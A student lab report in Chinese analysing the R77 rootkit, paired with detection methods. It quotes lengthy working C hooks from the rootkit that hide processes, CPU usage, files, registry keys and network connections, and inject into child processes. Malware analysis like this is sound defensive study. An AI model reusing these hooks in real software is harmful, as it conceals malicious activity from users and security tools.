恶意代码分析与防治技术课程实验报告

R77 技术分析

学　　院　网络空间安全学院

专　　业　信息安全

学　　号　2213041

姓　　名　李雅帆

班　　级　信安班

一、实验目的

研究和分析 R77 Rootkit 的核心技术，描述使用过程中看到的行为如何技术实现。重点探索其在隐藏进程、文件、注册表项以及网络连接方面的实现机制。

二、实验原理

基于对 R77 Rootkit 核心技术的分析，探索其通过挂钩系统调用、修改内核数据结构以及伪造返回信息实现隐藏的机制。

R77 主要利用函数挂钩技术拦截系统调用，筛选并移除目标信息，如进程、文件、注册表项和网络连接，进而达到隐匿目标的效果。

隐藏进程和文件：R77 通过挂钩 API（如 NtQuerySystemInformation），拦截系统调用并筛选返回的进程和文件信息。它根据前缀匹配或特定规则过滤目标对象，使这些进程和文件在系统枚举中不可见。

隐藏注册表项和值：通过挂钩注册表相关 API（如 NtEnumerateValueKey），R77 控制注册表键值的枚举过程。它识别并过滤带有特定前缀的注册表项和值，从而使这些内容对正常的注册表编辑工具不可见。

隐藏网络连接：R77 挂钩网络 API，筛选返回的网络连接信息，根据规则（如端口号或 IP 地址）隐藏特定的 TCP 和 UDP 连接，使其从网络监控工具的视图中消失。

同时，Rootkit 通过动态调整返回数据链表和统计信息，掩盖异常痕迹，避免被监控工具发现。

三、实验过程

（一）隐藏进程

1.技术分析：

（1）内核态挂钩（Kernel Hooking）：通过挂钩 ZwQuerySystemInformation 函数，拦截系统调用 SystemInformationClass 参数为 SystemProcessInformation 的请求。返回进程列表时，过滤掉特定进程（通常是通过进程名或 PID 匹配）。

（2）直接修改内核数据结构（DKOM）：操作内核中的 EPROCESS 数据结构，将目标进程从 ActiveProcessLinks 链表中移除，使得操作系统无法调度或列出该进程。

（3）用户态 API Hooking：在常用工具如任务管理器依赖的 API（如 EnumProcesses 或 CreateToolhelp32Snapshot）上添加挂钩，屏蔽目标进程。

（4）线程隐藏：通过修改线程对象的调度器数据，将目标线程标记为不可见状态，进一步增强进程隐藏效果。

2.检测与分析方法：

（1）比较用户态进程列表和通过内核模式工具（如 Volatility 或 WinDbg）提取的进程列表。

（2）检查 EPROCESS 数据结构中的链表完整性，分析是否有链表断裂。

（3）使用专用工具（如 GMER）扫描内核挂钩和数据篡改。

3.关键代码分析

```
static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS
systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG
returnLength)
{
    // returnLength is important, but it may be NULL, so wrap this value.
    ULONG newReturnLength;
    NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass,
systemInformation, systemInformationLength, &newReturnLength);
    if (returnLength) *returnLength = newReturnLength;

    if (NT_SUCCESS(status))
    {
        // Hide processes
        if (systemInformationClass == SystemProcessInformation)
        {
            // Accumulate CPU usage of hidden processes.
            LARGE_INTEGER hiddenKernelTime = { 0 };
            LARGE_INTEGER hiddenUserTime = { 0 };
            LONGLONG hiddenCycleTime = 0;

            for (PNT_SYSTEM_PROCESS_INFORMATION current =
(PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
            {
                if (HasPrefixU(current->ImageName) ||
IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) ||
```

```
IsProcessNameHiddenU(current->ImageName))
                {
                    hiddenKernelTime.QuadPart += current->KernelTime.QuadPart;
                    hiddenUserTime.QuadPart += current->UserTime.QuadPart;
                    hiddenCycleTime += current->CycleTime;

                    if (previous)
                    {
                        if (current->NextEntryOffset) previous->NextEntryOffset +=
current->NextEntryOffset;
                        else previous->NextEntryOffset = 0;
                    }
                    else
                    {
                        if (current->NextEntryOffset) systemInformation =
(LPBYTE)systemInformation + current->NextEntryOffset;
                        else systemInformation = NULL;
                    }
                }
                else
                {
                    previous = current;
                }

                if (current->NextEntryOffset) current =
(PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
                else current = NULL;
            }

            // Add CPU usage of hidden processes to the System Idle Process.
            for (PNT_SYSTEM_PROCESS_INFORMATION current =
(PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
            {
                if (current->ProcessId == 0)
                {
                    current->KernelTime.QuadPart += hiddenKernelTime.QuadPart;
                    current->UserTime.QuadPart += hiddenUserTime.QuadPart;
                    current->CycleTime += hiddenCycleTime;
                    break;
                }

                previous = current;

                if (current->NextEntryOffset) current =
```

```
(PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
                else current = NULL;
            }
        }
        // Hide CPU usage
        else if (systemInformationClass == SystemProcessorPerformanceInformation)
        {
            // ProcessHacker graph per CPU
            LARGE_INTEGER hiddenKernelTime = { 0 };
            LARGE_INTEGER hiddenUserTime = { 0 };
            if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL))
            {
                PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation =
(PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation;
                ULONG numberOfProcessors = newReturnLength /
sizeof(NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION);

                for (ULONG i = 0; i < numberOfProcessors; i++)
                {
                    //TODO: This works, but it needs to be on a per-cpu basis instead
of x / numberOfProcessors
                    performanceInformation[i].KernelTime.QuadPart +=
hiddenUserTime.QuadPart / numberOfProcessors;
                    performanceInformation[i].UserTime.QuadPart -=
hiddenUserTime.QuadPart / numberOfProcessors;
                    performanceInformation[i].IdleTime.QuadPart +=
(hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / numberOfProcessors;
                }
            }
        }
        // Hide CPU usage
        else if (systemInformationClass == SystemProcessorIdleCycleTimeInformation)
        {
            // ProcessHacker graph for all CPU's
            LONGLONG hiddenCycleTime = 0;
            if (GetProcessHiddenTimes(NULL, NULL, &hiddenCycleTime))
            {
                PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION
idleCycleTimeInformation =
(PNT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION)systemInformation;
                ULONG numberOfProcessors = newReturnLength /
sizeof(NT_SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION);

                for (ULONG i = 0; i < numberOfProcessors; i++)
```

```
                {
                    idleCycleTimeInformation[i].CycleTime += hiddenCycleTime /
numberOfProcessors;
                }
            }
        }
    }

    return status;
}
static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount)
{
    // Child process hooking:
    // When a process is created, its parent process calls NtResumeThread to start the
new process after process creation is completed.
    // At this point, the process is suspended and should be injected. After injection
is completed, NtResumeThread should be called.
    // To inject the process, a connection to the r77 service is performed through a
named pipe.
    // Because a 32-bit process can create a 64-bit child process, injection cannot be
performed here.

    DWORD processId = GetProcessIdOfThread(thread);
    if (processId != GetCurrentProcessId()) // If NtResumeThread is called on this
process, it is not a child process
    {
        // Call the r77 service and pass the process ID.
        HANDLE pipe = CreateFileW(CHILD_PROCESS_PIPE_NAME, GENERIC_READ |
GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
        if (pipe != INVALID_HANDLE_VALUE)
        {
            // Send the process ID to the r77 service.
            DWORD bytesWritten;
            WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL);

            // Wait for the response. NtResumeThread should be called after r77 is
injected.
            BYTE returnValue;
            DWORD bytesRead;
            ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL);

            CloseHandle(pipe);
        }
    }
```

```
    // This function returns, *after* injection is completed.
    return OriginalNtResumeThread(thread, suspendCount);
}
```

（1） HookedNtQuerySystemInformation

该函数挂钩了 NtQuerySystemInformation，用于隐藏特定进程以及与这些进程相关的系统性能统计信息。其核心目的是在系统查询进程和性能信息时，过滤隐藏目标并伪装系统统计数据，使被隐藏的进程和其资源使用对用户和监控工具不可见。

①拦截系统调用：调用原始的 NtQuerySystemInformation 获取系统信息，并根据 systemInformationClass 分类处理。

②隐藏进程（SystemProcessInformation）：遍历进程信息链表，通过条件（如进程名、进程 ID）判断是否需要隐藏目标进程。通过调整链表的 NextEntryOffset 移除目标进程信息。将隐藏进程的 CPU 使用时间累计到 hiddenKernelTime 和 hiddenUserTime。最后，将隐藏的资源统计合并到系统空闲进程（ProcessId == 0）中，确保总资源使用率正常。

③隐藏 CPU 性能统计（SystemProcessorPerformanceInformation）：调用 GetProcessHiddenTimes 获取隐藏进程的 CPU 使用时间。将这些时间均匀分摊到每个处理器的性能统计中（如 KernelTime、UserTime 和 IdleTime）。

④隐藏处理器空闲周期时间（SystemProcessorIdleCycleTimeInformation）：获取隐藏进程的周期时间，将其分摊到每个处理器的空闲周期统计中。

（2）HookedNtResumeThread

该函数挂钩了 NtResumeThread，用于拦截线程恢复操作，并在新创建的子进程启动前完成注入操作。其目的是在新进程初始化时，将恶意代码注入其中以实现持久化控制。

①检查线程所属进程：通过 GetProcessIdOfThread 获取线程所属进程 ID，判断是否为当前进程的子进程。

②通过管道与 r77 服务通信：如果目标线程属于新创建的子进程，则通过命名管道向 r77 服务发送该子进程的 ID。等待 r77 服务完成对目标进程的注入操作后，恢复线程。

③调用原始函数：注入完成后，调用原始的 NtResumeThread 恢复线程的执行。

（二）隐藏文件

1.技术分析：

（1）文件系统过滤驱动：安装文件系统过滤驱动程序，挂载在文件 I/O 请求处理路径上；在调用 IRP_MJ_DIRECTORY_CONTROL 或 IRP_MJ_QUERY_INFORMATION 时，过滤特定文件名或路径。

（2）挂钩文件操作 API：挂钩常用文件管理 API，如 FindFirstFile 和 FindNextFile，在返回文件列表时隐藏特定文件。

（3）伪造文件属性：修改文件属性，将文件设置为“系统文件”或“隐藏文件”，使得普通用户难以发现。

2.检测与分析方法：

（1）使用低级别磁盘操作工具（如 WinHex 或 FTK Imager）直接查看磁盘数据，绕过文件系统驱动。

（2）比较用户态工具（如 Explorer）显示的文件列表与原始磁盘扇区数据。

（3）使用内核模式工具（如 Rootkit Revealer）检测文件隐藏行为。

3.关键代码分析

```
static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event,
PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID
fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN
returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan)
{
    NTSTATUS status = OriginalNtQueryDirectoryFile(fileHandle, event, apcRoutine,
apcContext, ioStatusBlock, fileInformation, length, fileInformationClass,
returnSingleEntry, fileName, restartScan);

    // Hide files, directories and named pipes
    if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation ||
fileInformationClass == FileFullDirectoryInformation || fileInformationClass ==
FileIdFullDirectoryInformation || fileInformationClass == FileBothDirectoryInformation
|| fileInformationClass == FileIdBothDirectoryInformation || fileInformationClass ==
FileNamesInformation))
    {
        LPVOID current = fileInformation;
```

```
        LPVOID previous = NULL;
        ULONG nextEntryOffset;

        WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 };
        WCHAR fileFileName[MAX_PATH + 1] = { 0 };
        WCHAR fileFullPath[MAX_PATH + 1] = { 0 };

        if (GetFileType(fileHandle) == FILE_TYPE_PIPE) StrCpyW(fileDirectoryPath,
L"\\\\.\\pipe\\");
        else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);

        do
        {
            nextEntryOffset = FileInformationGetNextEntryOffset(current,
fileInformationClass);

            if (HasPrefix(FileInformationGetName(current, fileInformationClass,
fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath,
FileInformationGetName(current, fileInformationClass, fileFileName))))
            {
                if (nextEntryOffset)
                {
                    i_memcpy
                    (
                        current,
                        (LPBYTE)current + nextEntryOffset,
                        (ULONG)(length - ((ULONGLONG)current -
(ULONGLONG)fileInformation) - nextEntryOffset)
                    );
                    continue;
                }
                else
                {
                    if (current == fileInformation) status = STATUS_NO_MORE_FILES;
                    else FileInformationSetNextEntryOffset(previous,
fileInformationClass, 0);
                    break;
                }
            }

            previous = current;
            current = (LPBYTE)current + nextEntryOffset;
        }
        while (nextEntryOffset);
```

```
    }

    return status;
}
static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event,
PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID
fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG
queryFlags, PUNICODE_STRING fileName)
{
    NTSTATUS status = OriginalNtQueryDirectoryFileEx(fileHandle, event, apcRoutine,
apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, queryFlags,
fileName);

    // Hide files, directories and named pipes
    // Some applications (e.g. cmd.exe) use NtQueryDirectoryFileEx instead of
NtQueryDirectoryFile.
    if (NT_SUCCESS(status) && (fileInformationClass == FileDirectoryInformation ||
fileInformationClass == FileFullDirectoryInformation || fileInformationClass ==
FileIdFullDirectoryInformation || fileInformationClass == FileBothDirectoryInformation
|| fileInformationClass == FileIdBothDirectoryInformation || fileInformationClass ==
FileNamesInformation))
    {
        WCHAR fileDirectoryPath[MAX_PATH + 1] = { 0 };
        WCHAR fileFileName[MAX_PATH + 1] = { 0 };
        WCHAR fileFullPath[MAX_PATH + 1] = { 0 };

        if (GetFileType(fileHandle) == FILE_TYPE_PIPE) StrCpyW(fileDirectoryPath,
L"\\\\.\\pipe\\");
        else GetPathFromHandle(fileHandle, fileDirectoryPath, MAX_PATH);

        if (queryFlags & SL_RETURN_SINGLE_ENTRY)
        {
            // When returning a single entry, skip until the first item is found that
is not hidden.
            for (BOOL skip = HasPrefix(FileInformationGetName(fileInformation,
fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath,
fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass,
fileFileName))); skip; skip = HasPrefix(FileInformationGetName(fileInformation,
fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fileFullPath,
fileDirectoryPath, FileInformationGetName(fileInformation, fileInformationClass,
fileFileName))))
            {
                status = OriginalNtQueryDirectoryFileEx(fileHandle, event,
apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass,
```

```
queryFlags, fileName);
                if (status) break;
            }
        }
        else
        {
            LPVOID current = fileInformation;
            LPVOID previous = NULL;
            ULONG nextEntryOffset;

            do
            {
                nextEntryOffset = FileInformationGetNextEntryOffset(current,
fileInformationClass);

                if (HasPrefix(FileInformationGetName(current, fileInformationClass,
fileFileName)) || IsPathHidden(CreatePath(fileFullPath, fileDirectoryPath,
FileInformationGetName(current, fileInformationClass, fileFileName))))
                {
                    if (nextEntryOffset)
                    {
                        i_memcpy
                        (
                            current,
                            (LPBYTE)current + nextEntryOffset,
                            (ULONG)(length - ((ULONGLONG)current -
(ULONGLONG)fileInformation) - nextEntryOffset)
                        );
                        continue;
                    }
                    else
                    {
                        if (current == fileInformation) status =
STATUS_NO_MORE_FILES;
                        else FileInformationSetNextEntryOffset(previous,
fileInformationClass, 0);
                        break;
                    }
                }

                previous = current;
                current = (LPBYTE)current + nextEntryOffset;
            }
            while (nextEntryOffset);
```

```
        }
    }

    return status;
}
```

(1) HookedNtQueryDirectoryFile

①调用原始的 NtQueryDirectoryFile 函数，获取文件信息数据。

②检查文件信息类是否属于支持的范围（如目录信息、文件名信息等）。

③遍历返回的文件信息链表：

判断每个文件或目录是否符合隐藏规则，调用 HasPrefix 检查文件名前缀。调用 IsPathHidden 检查文件路径是否需要隐藏。

如果需要隐藏，调整链表结构，将当前文件信息节点从链表中移除，如果当前节点是最后一个条目，则设置状态为 STATUS_NO_MORE_FILES。如果无需隐藏，继续遍历下一个节点。

④返回处理后的文件信息。

(2) HookedNtQueryDirectoryFileEx

①调用原始的 NtQueryDirectoryFileEx 函数，获取文件信息数据。

②检查文件信息类是否属于支持的范围。

③根据 queryFlags：

如果是单项返回模式(SL_RETURN_SINGLE_ENTRY)，跳过隐藏的文件或目录，直到找到第一个符合条件的条目或返回无更多条目的状态。

如果是多项返回模式，按照与 HookedNtQueryDirectoryFile 相同的逻辑，遍历链表并移除隐藏的文件或目录。

④返回处理后的文件信息。

（3）函数功能分析

①挂钩原始系统调用：这两个函数分别挂钩了 NtQueryDirectoryFile 和 NtQueryDirectoryFileEx。它们在调用原始系统函数后，对返回的文件信息数据进行筛选和修改，以隐藏符合特定规则的文件或目录。

②隐藏目标对象：函数会检查文件名是否符合隐藏规则（例如文件名前缀匹配或路径标记为隐藏）。如果某个文件或目录符合隐藏条件，它会从返回的文件

信息列表中移除。支持多种文件信息类（如 FileDirectoryInformation、FileNamesInformation 等），确保在不同查询场景下都能隐藏目标。

③支持命名管道隐藏：如果查询的对象是命名管道，函数会特别处理，以隐藏特定的管道名称（通过匹配前缀或路径）。

④处理单项返回模式：对于 NtQueryDirectoryFileEx 中的单项返回模式（SL_RETURN_SINGLE_ENTRY），函数会跳过所有符合隐藏规则的条目，直到找到第一个可返回的非隐藏项。

（三）隐藏注册表项和值

1.技术分析：

（1）注册表操作挂钩：拦截注册表访问函数，如 NtEnumerateKey 和 NtEnumerateValueKey；在查询结果中屏蔽特定键或值。

（2）注册表重定向：修改注册表路径，将对某些键的访问重定向到无害的路径；使用 WOW64 注册表虚拟化，隐藏 32 位与 64 位应用程序之间的差异。

（3）键值伪造：修改注册表键值的显示属性，使其看似不存在。

2.检测与分析方法：

（1）使用第三方注册表扫描工具（如 RegDelNull）检测隐藏的注册表键或不可见的值。

（2）比较导出的注册表文件（通过 reg export）和实际系统中访问的键。

使用内核模式工具直接分析注册表数据结构。

3.关键代码分析

```
static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index,
NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG
keyInformationLength, PULONG resultLength)
{
    NTSTATUS status = OriginalNtEnumerateKey(key, index, keyInformationClass,
keyInformation, keyInformationLength, resultLength);

    // Implement hiding of registry keys by correcting the index in NtEnumerateKey.
    if (status == ERROR_SUCCESS && (keyInformationClass == KeyBasicInformation ||
```

```
keyInformationClass == KeyNameInformation))
    {
        for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS;
i++)
        {
            status = OriginalNtEnumerateKey(key, i, keyInformationClass,
keyInformation, keyInformationLength, resultLength);

            if (!HasPrefix(KeyInformationGetName(keyInformation,
keyInformationClass)))
            {
                newIndex++;
            }
        }
    }

    return status;
}
static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index,
NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation,
ULONG keyValueInformationLength, PULONG resultLength)
{
    NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass,
keyValueInformation, keyValueInformationLength, resultLength);

    // Implement hiding of registry values by correcting the index in
NtEnumerateValueKey.
    if (status == ERROR_SUCCESS && (keyValueInformationClass ==
KeyValueBasicInformation || keyValueInformationClass == KeyValueFullInformation))
    {
        for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS;
i++)
        {
            status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass,
keyValueInformation, keyValueInformationLength, resultLength);

            if (!HasPrefix(KeyValueInformationGetName(keyValueInformation,
keyValueInformationClass)))
            {
                newIndex++;
            }
        }
    }
```

```
    return status;
}
```

(1) HookedNtEnumerateKey

①调用原始的 NtEnumerateKey 函数，获取注册表键的信息。

②如果返回成功并且查询的键信息类型为 KeyBasicInformation 或 KeyNameInformation：

使用一个循环，通过逐个查询注册表键并检查其名称，判断是否符合隐藏规则。如果键名符合隐藏条件，函数跳过当前键并继续查询下一个键；如果键名不符合隐藏条件，递增内部索引（newIndex）。

③调整后的索引与目标查询索引匹配后，返回非隐藏键的信息。

(2) HookedNtEnumerateValueKey

①调用原始的 NtEnumerateValueKey 函数，获取注册表值的信息。

②如果返回成功并且查询的值信息类型为 KeyValueBasicInformation 或 KeyValueFullInformation：

使用一个循环，通过逐个查询注册表值并检查其名称，判断是否符合隐藏规则。如果值名符合隐藏条件，跳过当前值并继续查询下一个值；如果值名不符合隐藏条件，递增内部索引（newIndex）。

③调整后的索引与目标查询索引匹配后，返回非隐藏值的信息

（3）函数功能分析

①挂钩原始系统函数：这两个函数分别挂钩了 NtEnumerateKey 和 NtEnumerateValueKey。它们在调用原始系统函数后，对返回的注册表键或值信息进行筛选，并通过调整查询索引隐藏目标对象。

②隐藏注册表键：在 HookedNtEnumerateKey 中，当系统返回一个注册表键时，函数会检查键名是否符合隐藏规则。如果键名符合隐藏条件，函数会跳过该键，继续从下一个索引开始查询，直到找到一个非隐藏键与当前索引匹配。

③隐藏注册表值：在 HookedNtEnumerateValueKey 中，逻辑与隐藏键类似。对返回的注册表值进行名称匹配筛选，跳过符合隐藏规则的值，并调整查询索引以确保结果列表中不包含目标值。

④动态调整查询索引：通过一个内部循环（for 循环），函数逐步查询每一个注册表键或值，并维护一个新的索引（newIndex）。只有当返回的键或值不符

合隐藏条件时，newIndex 才递增。函数最终返回的结果是基于调整后的索引位置，确保隐藏的键或值对调用者不可见。

（四）隐藏网络

1.技术分析：

（1）网络堆栈挂钩：在网络协议栈（如 NDIS 层或 TDI 层）中挂钩，屏蔽与目标连接相关的网络包；修改 Tcpip.sys 的数据结构，隐藏特定的 TCP/UDP 套接字。

（2）过滤网络查询 API：挂钩网络相关的 API（如 GetTcpTable 和 GetUdpTable），在返回网络连接列表时过滤掉目标连接。

（3）修改防火墙规则：添加动态规则，阻止目标连接的流量被检测工具捕获。

2.检测与分析方法：

（1）使用网络抓包工具（如 Wireshark）直接监听网络流量，观察是否存在未记录的连接。

（2）使用低级网络工具（如 RawCap 或 Netstat）提取网络连接信息，与系统 API 提供的信息对比。

（3）在内核模式下分析 TCP/UDP 堆栈数据，检查是否有隐藏的连接条目。

3.关键代码分析

```
static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength)
{
    NTSTATUS status = OriginalNtDeviceIoControlFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, ioControlCode, inputBuffer, inputBufferLength, outputBuffer, outputBufferLength);

    if (NT_SUCCESS(status))
    {
        // Hide TCP and UDP entries
        if (ioControlCode == IOCTL_NSI_GETALLPARAM && outputBuffer && outputBufferLength == sizeof(NT_NSI_PARAM))
        {
            // Check, if the device is "\Device\Nsi"
            BYTE deviceName[500];
```

```
            if (NT_SUCCESS(R77_NtQueryObject(fileHandle, ObjectNameInformation,
deviceName, 500, NULL)) &&
                !StrCmpNIW(DEVICE_NSI, ((PUNICODE_STRING)deviceName)->Buffer,
sizeof(DEVICE_NSI) / sizeof(WCHAR)))
            {
                PNT_NSI_PARAM nsiParam = (PNT_NSI_PARAM)outputBuffer;
                if (nsiParam->Entries && (nsiParam->Type == NsiTcp || nsiParam->Type
== NsiUdp))
                {
                    WCHAR processName[MAX_PATH + 1];

                    for (DWORD i = 0; i < nsiParam->Count; i++)
                    {
                        PNT_NSI_TCP_ENTRY tcpEntry =
(PNT_NSI_TCP_ENTRY)((LPBYTE)nsiParam->Entries + i * nsiParam->EntrySize);
                        PNT_NSI_UDP_ENTRY udpEntry =
(PNT_NSI_UDP_ENTRY)((LPBYTE)nsiParam->Entries + i * nsiParam->EntrySize);

                        // The status and process table may be NULL.
                        PNT_NSI_PROCESS_ENTRY processEntry =
nsiParam->ProcessEntries ? (PNT_NSI_PROCESS_ENTRY)((LPBYTE)nsiParam->ProcessEntries + i
* nsiParam->ProcessEntrySize) : NULL;
                        PNT_NSI_STATUS_ENTRY statusEntry = nsiParam->StatusEntries ?
(PNT_NSI_STATUS_ENTRY)((LPBYTE)nsiParam->StatusEntries + i *
nsiParam->StatusEntrySize) : NULL;

                        processName[0] = L'\0';

                        BOOL hidden = FALSE;
                        if (nsiParam->Type == NsiTcp)
                        {
                            if (processEntry)
GetProcessFileName(processEntry->TcpProcessId, FALSE, processName, MAX_PATH);

                            hidden =

    IsTcpLocalPortHidden(_byteswap_ushort(tcpEntry->Local.Port)) ||

    IsTcpRemotePortHidden(_byteswap_ushort(tcpEntry->Remote.Port)) ||
                                processEntry &&
IsProcessIdHidden(processEntry->TcpProcessId) ||
                                lstrlenW(processName) > 0 &&
IsProcessNameHidden(processName) ||
                                HasPrefix(processName);
```

```
                        }
                        else if (nsiParam->Type == NsiUdp)
                        {
                            if (processEntry)
GetProcessFileName(processEntry->UdpProcessId, FALSE, processName, MAX_PATH);

                            hidden =
                                IsUdpPortHidden(_byteswap_ushort(udpEntry->Port)) ||
                                processEntry &&
IsProcessIdHidden(processEntry->UdpProcessId) ||
                                lstrlenW(processName) > 0 &&
IsProcessNameHidden(processName) ||
                                HasPrefix(processName);
                        }

                        // If hidden, move all following entries up by one and
decrease count.
                        if (hidden)
                        {
                            if (i < nsiParam->Count - 1) // Do not move following
entries, if this is the last entry
                            {
                                if (nsiParam->Type == NsiTcp)
                                {
                                    memmove(tcpEntry, (LPBYTE)tcpEntry +
nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
                                }
                                else if (nsiParam->Type == NsiUdp)
                                {
                                    memmove(udpEntry, (LPBYTE)udpEntry +
nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize);
                                }

                                if (statusEntry)
                                {
                                    memmove(statusEntry, (LPBYTE)statusEntry +
nsiParam->StatusEntrySize, (nsiParam->Count - i - 1) * nsiParam->StatusEntrySize);
                                }
                                if (processEntry)
                                {
                                    memmove(processEntry, (LPBYTE)processEntry +
nsiParam->ProcessEntrySize, (nsiParam->Count - i - 1) * nsiParam->ProcessEntrySize);
                                }
                            }
```

```
                                nsiParam->Count--;
                                i--;
                            }
                        }
                    }
                }
            }

    return status;
}
```

（1）HookedNtDeviceIoControlFile

①调用原始函数：首先执行原始的 NtDeviceIoControlFile 系统调用，获取原始网络连接数据。

②检查请求类型和设备：判断 I/O 控制代码是否为 IOCTL_NSI_GETALLPARAM，且设备是否为 \Device\Nsi。

③处理 TCP 和 UDP 条目：遍历返回的网络连接条目（TCP 或 UDP）。对每个条目检查本地端口、远程端口、进程 ID 和进程名称是否符合隐藏规则。如果符合规则，移除条目并调整缓冲区结构。

④调整缓冲区和条目计数：通过 memmove 移动后续条目覆盖隐藏条目，维护数据的一致性。减少条目计数，确保返回结果与实际条目数匹配。

⑤返回修改结果：返回过滤后的网络连接信息，隐藏目标条目。

（2）主要功能

①挂钩系统调用：该函数拦截 NtDeviceIoControlFile 系统调用，首先调用原始函数 OriginalNtDeviceIoControlFile，获取返回的网络连接信息。

②检查目标设备：函数仅对特定设备 \Device\Nsi 的请求进行处理，确保只对与网络连接相关的数据进行操作。

③隐藏 TCP 和 UDP 网络连接：当 I/O 控制代码为 IOCTL_NSI_GETALLPARAM 且返回的缓冲区包含 TCP 或 UDP 数据时，遍历连接条目。检查每个连接条目是否符合隐藏规则：本地端口或远程端口是否被标记为隐藏；进程 ID 是否在隐藏列表中；进程名称是否被隐藏规则匹配（如名称前缀或特定标记）。

如果某条连接符合隐藏条件，调整缓冲区结构，通过移动后续条目覆盖当前条目，并减少总条目数。

④更新数据结构：对隐藏的条目移动后续条目数据，使得隐藏的条目被移除。减少条目计数（nsiParam->Count），确保返回数据的条目数与缓冲区内容一致。

⑤返回修改后的结果：函数最终返回过滤后的网络连接信息，隐藏目标条目。

四、实验结论及心得体会

通过本次实验，我对 R77 Rootkit 的核心技术有了更加深入的理解，尤其是在隐藏进程、文件、注册表项以及网络连接方面的实现原理。实验过程中，我感受到 Rootkit 技术在系统级别的隐蔽性和复杂性，其利用 API 钩子和数据过滤等技术实现了对系统返回信息的动态修改，从而达到隐匿目标的效果。这种技术展示了恶意软件在对抗安全检测中的高超手段。

Rootkit 技术的威胁不仅在于其隐藏能力，更在于其通过挂钩关键系统函数对操作系统行为的深度篡改。面对这种威胁，仅依赖传统的安全工具可能难以发现和应对，必须结合内核完整性检查、行为分析以及实时监控等多种手段。